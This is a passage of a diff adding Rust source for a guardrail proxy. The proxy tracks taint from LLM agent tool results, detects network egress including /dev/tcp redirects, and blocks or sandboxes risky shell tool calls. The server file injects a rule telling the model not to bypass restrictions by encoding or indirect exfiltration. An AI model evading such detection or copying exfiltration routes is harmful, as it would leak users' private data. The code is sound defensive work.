single-quoted strings. +const SINGLEQUOTE_FLAG: u64 = 2; + +// --------------------------------------------------------------------------- +// Platform detection +// --------------------------------------------------------------------------- + +const fn get_platform() -> &'static str { + if cfg!(target_os = "macos") { + "darwin" + } else if cfg!(target_os = "linux") { + "linux" + } else { + "unsupported" + } +} + +/// Check if OS sandbox tool is available. +pub fn is_sandbox_available() -> bool { + match get_platform() { + "darwin" => which("sandbox-exec"), + "linux" => which("unshare"), + _ => false, + } +} + +fn which(cmd: &str) -> bool { + std::process::Command::new("which") + .arg(cmd) + .stdout(std::process::Stdio::null()) + .stderr(std::process::Stdio::null()) + .status() + .is_ok_and(|s| s.success()) +} + +// --------------------------------------------------------------------------- +// AST word helpers +// --------------------------------------------------------------------------- + +fn make_word(text: &str, flags: Option) -> Value { + let mut word = json!({"text": text}); + if let Some(f) = flags { + word.as_object_mut() + .unwrap() + .insert("flags".into(), json!(f)); + } + word +} + +fn make_sandbox_words() -> Result, SidecarError> { + match get_platform() { + "darwin" => Ok(vec![ + make_word("sandbox-exec", None), + make_word("-p", None), + make_word(MACOS_SANDBOX_PROFILE, Some(SINGLEQUOTE_FLAG)), + ]), + "linux" => Ok(vec![make_word("unshare", None), make_word("--net", None)]), + p => Err(SidecarError::Config(format!( + "No sandbox available for platform: {p}" + ))), + } +} + +// --------------------------------------------------------------------------- +// AST rewriting +// --------------------------------------------------------------------------- + +/// Rewrite AST to wrap in network sandbox, return bash string. +/// +/// # Errors +/// +/// Returns `SidecarError` if sandboxing is unavailable or the AST conversion fails. +pub async fn sandbox_command_ast( + ast: &Value, + client: &BashAstClient, +) -> Result { + let node_type = ast.get("type").and_then(Value::as_str).unwrap_or_default(); + + if node_type == "simple" { + sandbox_simple(ast, client).await + } else { + sandbox_complex(ast, client).await + } +} + +async fn sandbox_simple(ast: &Value, client: &BashAstClient) -> Result { + let sandbox_words = make_sandbox_words()?; + let original_words = ast + .get("words") + .and_then(Value::as_array) + .cloned() + .unwrap_or_default(); + + let mut combined = sandbox_words; + combined.extend(original_words); + + let mut wrapped = ast.clone(); + wrapped + .as_object_mut() + .unwrap() + .insert("words".into(), Value::Array(combined)); + + client.to_bash(&wrapped).await +} + +async fn sandbox_complex(ast: &Value, client: &BashAstClient) -> Result { + let original_bash = client.to_bash(ast).await?; + + let mut sandbox_words = make_sandbox_words()?; + let bash_c_words = vec![ + make_word("bash", None), + make_word("-c", None), + make_word(&original_bash, Some(SINGLEQUOTE_FLAG)), + ]; + sandbox_words.extend(bash_c_words); + + let wrapper_ast = json!({ + "type": "simple", + "words": sandbox_words, + }); + + client.to_bash(&wrapper_ast).await +} diff --git a/traits/capability-ratchet/src/server.rs b/traits/capability-ratchet/src/server.rs new file mode 100644 index 0000000..460c477 --- /dev/null +++ b/traits/capability-ratchet/src/server.rs @@ -0,0 +1,484 @@ +// SPDX-FileCopyrightText: Copyright (c) 2025-2026 NVIDIA CORPORATION & AFFILIATES. All rights reserved. +// SPDX-License-Identifier: Apache-2.0 + +//! Axum HTTP server for the capability ratchet sidecar. + +use std::collections::BTreeSet; +use std::sync::Arc; + +use axum::Router; +use axum::extract::State; +use axum::http::{HeaderMap, StatusCode}; +use axum::response::IntoResponse; +use axum::routing::{get, post}; +use serde_json::{Value, json}; +use tracing::{info, warn}; + +use crate::bash_ast::BashAstClient; +use crate::config::SidecarConfig; +use crate::normalize; +use crate::policy::Policy; +use crate::proxy::forward_to_backend; +use crate::revocation::get_forbidden; +use crate::taint::detect_taint; +use crate::tool_analysis::{AnalysisResult, analyze_tool_call}; +use crate::types::{Capability, TaintFlag}; + +// --------------------------------------------------------------------------- +// Application state +// --------------------------------------------------------------------------- + +pub struct AppState { + pub config: SidecarConfig, + pub policy: Policy, + pub http_client: reqwest::Client, + pub bash_ast: Option, +} + +// --------------------------------------------------------------------------- +// Taint hint +// --------------------------------------------------------------------------- + +const TAINT_HINT: &str = "\ +IMPORTANT: Your conversation context contains private or untrusted data. \ +Some tool calls may be restricted to prevent data exfiltration. \ +If a tool call is blocked, you will receive a structured explanation \ +including the blocked tool call IDs and reasons.\n\n\ +When a tool call is blocked, you SHOULD:\n\ +1. Explain to the user what you wanted to do and why it was blocked.\n\ +2. Ask the user if they want to approve the action.\n\ +3. If the user approves, retry the SAME request. The infrastructure \ +will include the approval automatically.\n\n\ +Alternatively, if the private data tool results are no longer needed \ +in your context, you can drop them from your message history and retry. \ +The restriction only applies while private/untrusted data is present \ +in the current request's messages.\n\n\ +Do not attempt to circumvent these restrictions by encoding, \ +obfuscating, or indirectly exfiltrating data."; + +// --------------------------------------------------------------------------- +// Approval header parsing +// --------------------------------------------------------------------------- + +fn parse_approved_ids(headers: &HeaderMap) -> BTreeSet { + headers + .get("x-ratchet-approve") + .and_then(|v| v.to_str().ok()) + .map(|h| { + h.split(',') + .map(str::trim) + .filter(|s| !s.is_empty()) + .map(String::from) + .collect() + }) + .unwrap_or_default() +} + +// --------------------------------------------------------------------------- +// Response rewriting +// --------------------------------------------------------------------------- + +fn make_blocked_response( + original: &Value, + blocked_calls: &[BlockedCall], + taint: &BTreeSet, +) -> Value { + let explanations: Vec = blocked_calls + .iter() + .map(|info| { + format!( + "Tool call '{}' (id: {}) was blocked: requires {} which is forbidden due to {}.", + info.name, info.id, info.required, info.reason, + ) + }) + .collect(); + + let blocked_ids: Vec<&str> = blocked_calls.iter().map(|i| i.id.as_str()).collect(); + + let explanation_text = format!( + "The following tool calls were blocked by the capability ratchet \ + to prevent potential data exfiltration:\n\n{}\n\n\ + To proceed, ask the user if they approve these actions. \ + If approved, retry the request — the approval will be handled \ + automatically by the infrastructure.\n\n\ + Alternatively, if the private data is no longer needed in your \ + context, remove those tool result messages and retry.", + explanations + .iter() + .map(|e| format!("- {e}")) + .collect::>() + .join("\n"), + ); + + let taint_strs: Vec = taint.iter().map(std::string::ToString::to_string).collect(); + + let ratchet_metadata = json!({ + "blocked": blocked_calls.iter().map(|info| json!({ + "tool_call_id": info.id, + "tool_name": info.name, + "violations": info.required, + "taint": taint_strs, + })).collect::>(), + "approve_header": "X-Ratchet-Approve", + "approve_value": blocked_ids.join(","), + }); + + // Chat Completions format + if let Some(choices) = original.get("choices").and_then(Value::as_array) { + let original_tool_calls = choices + .first() + .and_then(|c| c.get("message")) + .and_then(|m| m.get("tool_calls")) + .cloned() + .unwrap_or(json!([])); + + let mut result = original.clone(); + let obj = result.as_object_mut().unwrap(); + obj.insert( + "choices".into(), + json!([{ + "index": 0, + "message": { + "role": "assistant", + "content": explanation_text, + }, + "finish_reason": "stop", + }]), + ); + let mut meta = ratchet_metadata; + meta.as_object_mut() + .unwrap() + .insert("original_tool_calls".into(), original_tool_calls); + obj.insert("ratchet_metadata".into(), meta); + return result; + } + + // Anthropic format + if original.get("content").and_then(Value::as_array).is_some() { + let mut result = original.clone(); + let obj = result.as_object_mut().unwrap(); + obj.insert( + "content".into(), + json!([{"type": "text", "text": explanation_text}]), + ); + obj.insert("stop_reason".into(), json!("end_turn")); + obj.insert("ratchet_metadata".into(), ratchet_metadata); + return result; + } + + original.clone() +} + +fn make_sandboxed_response( + original: &Value, + rewrites: &std::collections::HashMap, +) -> Value { + let mut result = original.clone(); + + if let Some(choices) = result.get_mut("choices").and_then(Value::as_array_mut) + && let Some(first) = choices.first_mut() + && let Some(tool_calls) = first + .get_mut("message") + .and_then(|m| m.get_mut("tool_calls")) + .and_then(Value::as_array_mut) + { + for tc in tool_calls { + let tc_id = tc + .get("id") + .and_then(Value::as_str) + .unwrap_or_default() + .to_string(); + if let Some(new_cmd) = rewrites.get(&tc_id) + && let Some(func) = tc.get_mut("function") + { + let args_val = func.get("arguments"); + let mut args: serde_json::Map = args_val + .and_then(|a| { + a.as_str() + .and_then(|s| serde_json::from_str(s).ok()) + .or_else(|| a.as_object().cloned()) + }) + .unwrap_or_default(); + args.insert("command".into(), Value::String(new_cmd.clone())); + func.as_object_mut().unwrap().insert( + "arguments".into(), + Value::String(serde_json::to_string(&args).unwrap_or_default()), + ); + } + } + } + + result +} + +// --------------------------------------------------------------------------- +// Helper struct for blocked calls +// --------------------------------------------------------------------------- + +struct BlockedCall { + id: String, + name: String, + required: String, + reason: String, +} + +// --------------------------------------------------------------------------- +// Request handler +// --------------------------------------------------------------------------- + +async fn chat_completions( + State(state): State>, + headers: HeaderMap, + body: axum::body::Bytes, +) -> impl IntoResponse { + // Parse request body + let request_data: Value = match serde_json::from_slice(&body) { + Ok(d) => d, + Err(_) => { + return ( + StatusCode::BAD_REQUEST, + HeaderMap::new(), + axum::Json(json!({ + "error": { + "message": "Invalid JSON in request body", + "type": "invalid_request_error", + } + })), + ); + } + }; + + // Parse user approvals + let approved_ids = parse_approved_ids(&headers); + if !approved_ids.is_empty() { + info!(approved_ids = ?approved_ids, "user_approved_tool_calls"); + } + + // Pre-call: detect taint from tool results + let messages = normalize::normalize_input(&request_data, None); + let taint = detect_taint(&messages, &state.policy, state.bash_ast.as_ref()).await; + + let mut request_data = request_data; + + // Capture whether the original request had streaming enabled + let original_stream = request_data + .get("stream") + .and_then(Value::as_bool) + .unwrap_or(false); + + let is_tainted = !taint.is_empty(); + + if is_tainted { + let taint_strs: Vec = taint.iter().map(std::string::ToString::to_string).collect(); + info!(taint = ?taint_strs, "taint_detected"); + normalize::inject_hint(&mut request_data, TAINT_HINT, None); + + if original_stream { + info!("streaming_disabled_for_tainted_request"); + } + } + + // Forward to backend — only force non-streaming for tainted requests + let response_data = match forward_to_backend( + &request_data, + &state.config.backend, + &state.http_client, + is_tainted, + ) + .await + { + Ok(r) => r, + Err(e) => { + warn!(error = %e, "backend_error"); + return ( + StatusCode::BAD_GATEWAY, + HeaderMap::new(), + axum::Json(json!({ + "error": { + "message": format!("Backend error: {e}"), + "type": "upstream_error", + } + })), + ); + } + }; + + // Post-call: analyze tool calls in response + let final_response = analyze_response(&state, &taint, &approved_ids, response_data).await; + + // Build response headers — signal when streaming was blocked due to taint + let mut response_headers = HeaderMap::new(); + if is_tainted && original_stream { + response_headers.insert("x-ratchet-stream-blocked", "true".parse().unwrap()); + } + + (StatusCode::OK, response_headers, axum::Json(final_response)) +} + +async fn analyze_response( + state: &AppState, + taint: &BTreeSet, + approved_ids: &BTreeSet, + response_data: Value, +) -> Value { + if taint.is_empty() { + return response_data; + } + + let tool_calls = normalize::extract_tool_calls(&response_data); + if tool_calls.is_empty() { + return response_data; + } + + let forbidden = get_forbidden(taint); + if forbidden.is_empty() { + return response_data; + } + + let mut blocked_calls: Vec = Vec::new(); + let mut sandboxed_rewrites: std::collections::HashMap = + std::collections::HashMap::new(); + + for tc in &tool_calls { + if approved_ids.contains(&tc.id) { + info!( + tool_name = tc.name, + tool_call_id = tc.id, + "tool_call_user_approved", + ); + continue; + } + + let Ok(analysis) = + analyze_tool_call(tc, &state.policy, taint, state.bash_ast.as_ref()).await + else { + warn!(tool_call_id = tc.id, "bash_ast_unavailable"); + blocked_calls.push(BlockedCall { + id: tc.id.clone(), + name: tc.name.clone(), + required: "analysis unavailable".into(), + reason: "bash-ast server not reachable".into(), + }); + continue; + }; + + let violations: BTreeSet = analysis + .required_capabilities + .intersection(&forbidden) + .copied() + .collect(); + + if !violations.is_empty() { + handle_violation( + tc, + &analysis, + &violations, + &forbidden, + taint, + state.config.shadow_mode, + &mut blocked_calls, + &mut sandboxed_rewrites, + ); + } + } + + if !blocked_calls.is_empty() { + make_blocked_response(&response_data, &blocked_calls, taint) + } else if !sandboxed_rewrites.is_empty() { + make_sandboxed_response(&response_data, &sandboxed_rewrites) + } else { + response_data + } +} + +#[allow(clippy::too_many_arguments)] +fn handle_violation( + tc: &crate::types::ToolCall, + analysis: &AnalysisResult, + violations: &BTreeSet, + forbidden: &BTreeSet, + taint: &BTreeSet, + shadow_mode: bool, + blocked_calls: &mut Vec, + sandboxed_rewrites: &mut std::collections::HashMap, +) { + if let Some(ref sandboxed) = analysis.sandboxed_command { + sandboxed_rewrites.insert(tc.id.clone(), sandboxed.clone()); + info!( + tool_name = tc.name, + tool_call_id = tc.id, + "tool_call_sandboxed", + ); + } else if shadow_mode { + let req_strs: Vec = analysis + .required_capabilities + .iter() + .map(std::string::ToString::to_string) + .collect(); + let forb_strs: Vec = forbidden + .iter() + .map(std::string::ToString::to_string) + .collect(); + let viol_strs: Vec = violations + .iter() + .map(std::string::ToString::to_string) + .collect(); + warn!( + tool_name = tc.name, + tool_call_id = tc.id, + required = ?req_strs, + forbidden = ?forb_strs, + violations = ?viol_strs, + "tool_call_would_be_blocked", + ); + } else { + let viol_strs: Vec = violations + .iter() + .map(std::string::ToString::to_string) + .collect(); + let taint_strs: Vec = taint.iter().map(std::string::ToString::to_string).collect(); + blocked_calls.push(BlockedCall { + id: tc.id.clone(), + name: tc.name.clone(), + required: viol_strs.join(", "), + reason: taint_strs.join(", "), + }); + let req_strs: Vec = analysis + .required_capabilities + .iter() + .map(std::string::ToString::to_string) + .collect(); + let forb_strs: Vec = forbidden + .iter() + .map(std::string::ToString::to_string) + .collect(); + warn!( + tool_name = tc.name, + tool_call_id = tc.id, + required = ?req_strs, + forbidden = ?forb_strs, + violations = ?viol_strs, + "tool_call_blocked", + ); + } +} + +// --------------------------------------------------------------------------- +// Health check +// --------------------------------------------------------------------------- + +async fn health() -> impl IntoResponse { + axum::Json(json!({"status": "ok"})) +} + +// --------------------------------------------------------------------------- +// Router factory +// --------------------------------------------------------------------------- + +/// Create the Axum router. +pub fn create_router(state: Arc) -> Router { + Router::new() + .route("/v1/chat/completions", post(chat_completions)) + .route("/health", get(health)) + .with_state(state) +} diff --git a/traits/capability-ratchet/src/taint.rs b/traits/capability-ratchet/src/taint.rs new file mode 100644 index 0000000..58c0aba --- /dev/null +++ b/traits/capability-ratchet/src/taint.rs @@ -0,0 +1,196 @@ +// SPDX-FileCopyrightText: Copyright (c) 2025-2026 NVIDIA CORPORATION & AFFILIATES. All rights reserved. +// SPDX-License-Identifier: Apache-2.0 + +//! Taint detection from conversation messages. +//! +//! Taint is determined by which tools were invoked, not by inspecting content. + +use std::collections::{BTreeSet, HashMap}; + +use serde_json::Value; +use tracing::debug; + +use crate::bash_ast::BashAstClient; +use crate::bash_unwrap::unwrap_and_extract; +use crate::constants::BASH_TOOL_NAMES; +use crate::policy::Policy; +use crate::types::TaintFlag; + +// --------------------------------------------------------------------------- +// Helpers +// --------------------------------------------------------------------------- + +fn parse_arguments(raw: &Value) -> serde_json::Map { + match raw { + Value::Object(m) => m.clone(), + Value::String(s) => match serde_json::from_str(s) { + Ok(Value::Object(m)) => m, + _ => serde_json::Map::new(), + }, + _ => serde_json::Map::new(), + } +} + +fn build_tool_call_map( + messages: &[Value], +) -> HashMap)> { + let mut call_map = HashMap::new(); + for msg in messages { + if msg.get("role").and_then(Value::as_str) != Some("assistant") { + continue; + } + let Some(tool_calls) = msg.get("tool_calls").and_then(Value::as_array) else { + continue; + }; + for tc in tool_calls { + let call_id = tc + .get("id") + .and_then(Value::as_str) + .unwrap_or_default() + .to_string(); + let func = tc.get("function").unwrap_or(tc); + let name = func + .get("name") + .and_then(Value::as_str) + .unwrap_or_default() + .to_string(); + let args = parse_arguments(func.get("arguments").unwrap_or(&Value::Null)); + if !call_id.is_empty() { + call_map.insert(call_id, (name, args)); + } + } + } + call_map +} + +fn shlex_fallback(command: &str) -> Vec<(String, Option)> { + match shell_words::split(command) { + Ok(tokens) if tokens.is_empty() => Vec::new(), + Ok(tokens) => { + let cmd = tokens[0].clone(); + let subcmd = tokens[1..].iter().find(|t| !t.starts_with('-')).cloned(); + vec![(cmd, subcmd)] + } + Err(_) => { + let first = command.split_whitespace().next().unwrap_or("").to_string(); + vec![(first, None)] + } + } +} + +async fn resolve_bash_command( + command: &str, + policy: &Policy, + bash_ast: Option<&BashAstClient>, +) -> BTreeSet { + let mut taint = BTreeSet::new(); + + let pairs = if let Some(client) = bash_ast { + if let Ok(ast) = client.parse(command).await { + unwrap_and_extract(&ast, client, 5, 0) + .await + .unwrap_or_else(|_| { + debug!(command = command, "bash_unwrap_fallback"); + shlex_fallback(command) + }) + } else { + debug!(command = command, "bash_ast_fallback"); + shlex_fallback(command) + } + } else { + shlex_fallback(command) + }; + + for (cmd, subcmd) in &pairs { + if cmd.is_empty() { + continue; + } + let result = policy.resolve(cmd, subcmd.as_deref()); + taint.extend(result.taint); + } + + taint +} + +fn resolve_non_bash_tool( + tool_name: &str, + arguments: &serde_json::Map, + policy: &Policy, +) -> BTreeSet { + let subcmd = arguments + .get("subcommand") + .and_then(Value::as_str) + .map(str::trim) + .filter(|s| !s.is_empty()); + let result = policy.resolve(tool_name, subcmd); + result.taint +} + +// --------------------------------------------------------------------------- +// Public API +// --------------------------------------------------------------------------- + +/// Detect taint flags from a list of normalized messages. +pub async fn detect_taint( + messages: &[Value], + policy: &Policy, + bash_ast: Option<&BashAstClient>, +) -> BTreeSet { + if messages.is_empty() { + return BTreeSet::new(); + } + + let call_map = build_tool_call_map(messages); + let mut taint = BTreeSet::new(); + + for msg in messages { + if msg.get("role").and_then(Value::as_str) != Some("tool") { + continue; + } + + let call_id = msg + .get("tool_call_id") + .and_then(Value::as_str) + .unwrap_or_default() + .to_string(); + + let (tool_name, arguments) = if call_id.is_empty() { + let name = msg + .get("name") + .and_then(Value::as_str) + .unwrap_or_default() + .to_string(); + (name, serde_json::Map::new()) + } else if let Some((name, args)) = call_map.get(&call_id) { + (name.clone(), args.clone()) + } else { + let name = msg + .get("name") + .and_then(Value::as_str) + .unwrap_or_default() + .to_string(); + (name, serde_json::Map::new()) + }; + + if tool_name.is_empty() { + continue; + } + + if BASH_TOOL_NAMES.contains(tool_name.as_str()) { + let command = arguments + .get("command") + .and_then(Value::as_str) + .unwrap_or_default(); + if !command.trim().is_empty() { + let flags = resolve_bash_command(command, policy, bash_ast).await; + taint.extend(flags); + } + continue; + } + + let flags = resolve_non_bash_tool(&tool_name, &arguments, policy); + taint.extend(flags); + } + + taint +} diff --git a/traits/capability-ratchet/src/tool_analysis.rs b/traits/capability-ratchet/src/tool_analysis.rs new file mode 100644 index 0000000..0a6a39a --- /dev/null +++ b/traits/capability-ratchet/src/tool_analysis.rs @@ -0,0 +1,384 @@ +// SPDX-FileCopyrightText: Copyright (c) 2025-2026 NVIDIA CORPORATION & AFFILIATES. All rights reserved. +// SPDX-License-Identifier: Apache-2.0 + +//! Tool call analysis: determine required capabilities and taint. + +use regex::Regex; +use serde_json::Value; +use std::collections::BTreeSet; +use tracing::warn; + +use crate::bash_ast::BashAstClient; +use crate::bash_unwrap::unwrap_and_extract; +use crate::constants::{ + BASH_TOOL_NAMES, INTERPRETER_COMMANDS, NETWORK_CODE_INDICATORS, NETWORK_COMMANDS, +}; +use crate::error::SidecarError; +use crate::policy::Policy; +use crate::reversibility::classify as classify_reversibility; +use crate::sandbox::{is_sandbox_available, sandbox_command_ast}; +use crate::types::{Capability, Reversibility, TaintFlag, ToolCall}; + +// --------------------------------------------------------------------------- +// Result type +// --------------------------------------------------------------------------- + +/// The outcome of analyzing a single tool call. +#[derive(Debug, Clone)] +pub struct AnalysisResult { + pub required_capabilities: BTreeSet, + pub taint: BTreeSet, + pub sandboxed_command: Option, +} + +// --------------------------------------------------------------------------- +// URL extraction pattern +// --------------------------------------------------------------------------- + +static URL_PATTERN: std::sync::LazyLock = std::sync::LazyLock::new(|| { + Regex::new(r"(?:https?://[^\s]+|(?:[a-zA-Z0-9-]{1,63}\.){1,10}[a-zA-Z]{2,63}(?:/[^\s]*)?)") + .unwrap() +}); + +const MAX_URL_SCAN_LENGTH: usize = 4096; + +// --------------------------------------------------------------------------- +// Internal helpers +// --------------------------------------------------------------------------- + +fn extract_urls(words: &[&str]) -> Vec { + let mut urls = Vec::new(); + for word in words { + let scan = if word.len() > MAX_URL_SCAN_LENGTH { + &word[..MAX_URL_SCAN_LENGTH] + } else { + word + }; + for m in URL_PATTERN.find_iter(scan) { + urls.push(m.as_str().to_string()); + } + } + urls +} + +fn ast_has_dev_tcp_redirect(ast: &Value) -> bool { + // Check redirects + if let Some(redirects) = ast.get("redirects").and_then(Value::as_array) { + for redir in redirects { + let target = redir + .get("file") + .and_then(|f| { + f.as_str() + .map(String::from) + .or_else(|| f.get("text").and_then(Value::as_str).map(String::from)) + }) + .unwrap_or_default(); + if target.contains("/dev/tcp") || target.contains("/dev/udp") { + return true; + } + } + } + + // Check words + if let Some(words) = ast.get("words").and_then(Value::as_array) { + for word in words { + let text = word.as_str().map_or_else( + || { + word.get("text") + .and_then(Value::as_str) + .unwrap_or_default() + .to_string() + }, + std::string::ToString::to_string, + ); + if text.contains("/dev/tcp") || text.contains("/dev/udp") { + return true; + } + } + } + + // Recurse into children + for key in &["left", "right", "body", "condition", "then", "else"] { + if let Some(child) = ast.get(*key) + && child.is_object() + && ast_has_dev_tcp_redirect(child) + { + return true; + } + } + + for key in &["commands", "items"] { + if let Some(children) = ast.get(*key).and_then(Value::as_array) { + for child in children { + if child.is_object() && ast_has_dev_tcp_redirect(child) { + return true; + } + } + } + } + + false +} + +fn flatten_ast_words(ast: &Value) -> Vec { + ast.get("words") + .and_then(Value::as_array) + .map(|words| { + words + .iter() + .map(|w| { + w.as_str().map_or_else( + || { + w.get("text") + .and_then(Value::as_str) + .unwrap_or_default() + .to_string() + }, + std::string::ToString::to_string, + ) + }) + .collect() + }) + .unwrap_or_default() +} + +fn convert_ast_for_reversibility(ast: &Value) -> Value { + let node_type = ast.get("type").and_then(Value::as_str).unwrap_or_default(); + + match node_type { + "simple" => { + let words = flatten_ast_words(ast); + serde_json::json!({ + "type": "simple_command", + "words": words, + }) + } + "pipeline" => { + let commands = ast + .get("commands") + .and_then(Value::as_array) + .map(|c| { + c.iter() + .map(convert_ast_for_reversibility) + .collect::>() + }) + .unwrap_or_default(); + serde_json::json!({ + "type": "pipeline", + "commands": commands, + }) + } + "list" | "and" | "or" => { + let mut commands = Vec::new(); + if let Some(left) = ast.get("left") { + commands.push(convert_ast_for_reversibility(left)); + } + if let Some(right) = ast.get("right") { + commands.push(convert_ast_for_reversibility(right)); + } + if commands.is_empty() + && let Some(cmds) = ast.get("commands").and_then(Value::as_array) + { + commands.extend(cmds.iter().map(convert_ast_for_reversibility)); + } + serde_json::json!({ + "type": "command_list", + "commands": commands, + }) + } + _ => ast.clone(), + } +} + +fn subcmd_has_network_code(subcmd: Option<&str>) -> bool { + subcmd.is_some_and(|s| NETWORK_CODE_INDICATORS.iter().any(|ind| s.contains(ind))) +} + +// --------------------------------------------------------------------------- +// Core analysis: bash commands +// --------------------------------------------------------------------------- + +async fn analyze_bash_command( + command: &str, + policy: &Policy, + taint: &BTreeSet, + bash_ast: &BashAstClient, +) -> Result { + let mut capabilities: BTreeSet = BTreeSet::new(); + let mut result_taint: BTreeSet = BTreeSet::new(); + let mut sandboxed_command: Option = None; + let mut involves_interpreter = false; + + // Step 1: Parse with bash-ast + let ast = match bash_ast.parse(command).await { + Ok(a) => a, + Err(SidecarError::BashSyntax(_)) => { + warn!(command = command, "bash_syntax_error"); + capabilities.insert(Capability::ExecArbitrary); + return Ok(AnalysisResult { + required_capabilities: capabilities, + taint: result_taint, + sandboxed_command: None, + }); + } + Err(e) => return Err(SidecarError::BashAstUnavailable(e.to_string())), + }; + + // Step 2: Unwrap bash -c and extract (cmd, subcmd) pairs + let pairs = match unwrap_and_extract(&ast, bash_ast, 5, 0).await { + Ok(p) => p, + Err(e) => return Err(SidecarError::BashAstUnavailable(e.to_string())), + }; + + // Step 3: Analyze each extracted command + for (cmd, subcmd) in &pairs { + // 3a. Resolve against policy + let lookup = policy.resolve(cmd, subcmd.as_deref()); + result_taint.extend(lookup.taint); + capabilities.extend(lookup.requires); + + // 3b. Variable as command + if cmd.starts_with('$') { + capabilities.insert(Capability::ExecArbitrary); + continue; + } + + // 3c. Network commands + if NETWORK_COMMANDS.contains(cmd.as_str()) { + let mut all_words: Vec<&str> = vec![cmd.as_str()]; + if let Some(sub) = subcmd { + all_words.push(sub.as_str()); + } + let urls = extract_urls(&all_words); + + let approved = !urls.is_empty() && urls.iter().all(|u| policy.is_endpoint_approved(u)); + + if approved { + capabilities.insert(Capability::NetworkEgressApproved); + } else { + capabilities.insert(Capability::NetworkEgress); + } + continue; + } + + // 3d. Interpreter commands + if INTERPRETER_COMMANDS.contains(cmd.as_str()) { + involves_interpreter = true; + capabilities.insert(Capability::ExecArbitrary); + + if subcmd_has_network_code(subcmd.as_deref()) { + capabilities.insert(Capability::NetworkEgress); + } + } + } + + // Step 4: Check reversibility + let rev_ast = convert_ast_for_reversibility(&ast); + let (rev, _) = classify_reversibility(&rev_ast); + if rev == Reversibility::Irreversible { + capabilities.insert(Capability::ExecIrreversible); + } + + // Step 5: Check for /dev/tcp and /dev/udp redirects + if ast_has_dev_tcp_redirect(&ast) { + capabilities.insert(Capability::NetworkEgress); + } + + // Step 6: network:egress:approved supersedes network:egress + if capabilities.contains(&Capability::NetworkEgressApproved) { + capabilities.remove(&Capability::NetworkEgress); + } + + // Step 7: Sandboxing logic + let both_flags = + taint.contains(&TaintFlag::HasPrivateData) && taint.contains(&TaintFlag::HasUntrustedInput); + + if both_flags + && capabilities.contains(&Capability::ExecArbitrary) + && involves_interpreter + && is_sandbox_available() + { + match sandbox_command_ast(&ast, bash_ast).await { + Ok(cmd) => { + sandboxed_command = Some(cmd); + capabilities.remove(&Capability::ExecArbitrary); + } + Err(e) => { + warn!(error = %e, "sandbox_rewrite_failed"); + } + } + } + + Ok(AnalysisResult { + required_capabilities: capabilities, + taint: result_taint, + sandboxed_command, + }) +} + +// --------------------------------------------------------------------------- +// Core analysis: non-bash tools +// --------------------------------------------------------------------------- + +fn analyze_non_bash_tool(tool_call: &ToolCall, policy: &Policy) -> AnalysisResult { + let subcmd = tool_call + .arguments + .get("subcommand") + .and_then(Value::as_str); + let lookup = policy.resolve(&tool_call.name, subcmd); + + let mut capabilities: BTreeSet = BTreeSet::new(); + + if NETWORK_COMMANDS.contains(tool_call.name.as_str()) { + capabilities.insert(Capability::NetworkEgress); + } + if INTERPRETER_COMMANDS.contains(tool_call.name.as_str()) { + capabilities.insert(Capability::ExecArbitrary); + } + capabilities.extend(lookup.requires); + + AnalysisResult { + required_capabilities: capabilities, + taint: lookup.taint, + sandboxed_command: None, + } +} + +// --------------------------------------------------------------------------- +// Public API +// --------------------------------------------------------------------------- + +/// Analyze a single tool call. +/// +/// # Errors +/// +/// Returns `SidecarError` if the bash-ast client is unavailable or fails. +pub async fn analyze_tool_call( + tool_call: &ToolCall, + policy: &Policy, + taint: &BTreeSet, + bash_ast: Option<&BashAstClient>, +) -> Result { + if BASH_TOOL_NAMES.contains(tool_call.name.as_str()) { + let command = tool_call + .arguments + .get("command") + .and_then(Value::as_str) + .unwrap_or_default(); + if command.is_empty() { + return Ok(AnalysisResult { + required_capabilities: BTreeSet::new(), + taint: BTreeSet::new(), + sandboxed_command: None, + }); + } + match bash_ast { + Some(client) => analyze_bash_command(command, policy, taint, client).await, + None => Err(SidecarError::BashAstUnavailable( + "bash-ast client not configured".into(), + )), + } + } else { + Ok(analyze_non_bash_tool(tool_call, policy)) + } +} diff --git a/traits/capability-ratchet/src/types.rs b/traits/capability-ratchet/src/types.rs new file mode 100644 index 0000000..1ad3595 --- /dev/null +++ b/traits/capability-ratchet/src/types.rs @@ -0,0 +1,120 @@ +// SPDX-FileCopyrightText: Copyright (c) 2025-2026 NVIDIA CORPORATION & AFFILIATES. All rights reserved. +// SPDX-License-Identifier: Apache-2.0 + +//! Shared type definitions for the Capability Ratchet guardrail. + +use std::collections::BTreeSet; + +use serde::{Deserialize, Serialize}; + +// --------------------------------------------------------------------------- +// Enums +// --------------------------------------------------------------------------- + +/// Describes how the conversation context has been tainted. +#[derive(Debug, Clone, Copy, PartialEq, Eq, PartialOrd, Ord, Hash, Serialize, Deserialize)] +pub enum TaintFlag { + #[serde(rename = "has-private-data")] + HasPrivateData, + #[serde(rename = "has-untrusted-input")] + HasUntrustedInput, +} + +impl TaintFlag { + #[must_use] + pub const fn as_str(self) -> &'static str { + match self { + Self::HasPrivateData => "has-private-data", + Self::HasUntrustedInput => "has-untrusted-input", + } + } +} + +impl std::fmt::Display for TaintFlag { + fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { + f.write_str(self.as_str()) + } +} + +/// Capabilities that a tool invocation may require. +#[derive(Debug, Clone, Copy, PartialEq, Eq, PartialOrd, Ord, Hash, Serialize, Deserialize)] +pub enum Capability { + #[serde(rename = "network:egress")] + NetworkEgress, + #[serde(rename = "network:egress:approved")] + NetworkEgressApproved, + #[serde(rename = "exec:arbitrary")] + ExecArbitrary, + #[serde(rename = "exec:irreversible")] + ExecIrreversible, +} + +impl Capability { + #[must_use] + pub const fn as_str(self) -> &'static str { + match self { + Self::NetworkEgress => "network:egress", + Self::NetworkEgressApproved => "network:egress:approved", + Self::ExecArbitrary => "exec:arbitrary", + Self::ExecIrreversible => "exec:irreversible", + } + } +} + +impl std::fmt::Display for Capability { + fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { + f.write_str(self.as_str()) + } +} + +/// Whether an operation can be undone. +#[derive(Debug, Clone, Copy, PartialEq, Eq, PartialOrd, Ord, Hash)] +pub enum Reversibility { + Reversible, + Irreversible, + Unknown, +} + +impl Reversibility { + #[must_use] + pub const fn as_str(self) -> &'static str { + match self { + Self::Reversible => "reversible", + Self::Irreversible => "irreversible", + Self::Unknown => "unknown", + } + } +} + +impl std::fmt::Display for Reversibility { + fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { + f.write_str(self.as_str()) + } +} + +// --------------------------------------------------------------------------- +// Structs +// --------------------------------------------------------------------------- + +/// Normalized tool call, 